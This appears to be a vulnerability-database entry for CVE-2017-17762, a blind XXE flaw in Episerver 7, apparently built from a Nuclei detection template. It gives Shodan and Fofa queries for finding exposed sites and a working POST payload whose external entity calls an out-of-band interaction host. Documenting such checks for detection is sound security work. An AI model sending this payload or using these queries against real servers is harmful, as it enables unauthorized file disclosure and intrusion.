🔙 목록으로 돌아가기

CVE-2017-17762: Episerver 7 - Blind XML External Entity Injection

TitleEpiserver 7 - Blind XML External Entity Injection
Authorpussycat0x
SeverityHigh
ImpactRemote attackers can read sensitive files from the server, leading to information disclosure.
RemediationUpdate to the latest version of Episerver or apply security patches that fix XXE vulnerabilities.
CVSS Score7.5
EPSS Score0.14323
CVE IDCVE-2017-17762
CWE IDCWE-611
Shodan Queryhttp.html:"episerver"cpe:"cpe:2.3:a:episerver:episerver"http.html:"epihash"
Fofa Querybody="episerver"body="epihash"
Tags cve cve2017 xxe oast episerver oob

🔍 Vulnerability Description

Episerver 7 patch 4 and earlier contains an XML external entity (XXE) caused by processing crafted DTD in XML requests involving util/xmlrpc/Handler.ashx, letting remote attackers read arbitrary files, exploit requires sending malicious XML payloads.

🌐 HTTP Request

GET /util/xmlrpc/Handler.ashx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /util/xmlrpc/Handler.ashx HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.8
Connection: close
Content-Length: 253
Accept: */*
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE methodCall [

  <!ENTITY % xxe SYSTEM "http://d5jqa7hle0o4bf2qmus0p44shkupzqoiw.oast.online">

  %xxe;

]>

<methodCall>

  <methodName>system.listMethods</methodName>

  <params></params>

</methodCall>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-17762.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-17762.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A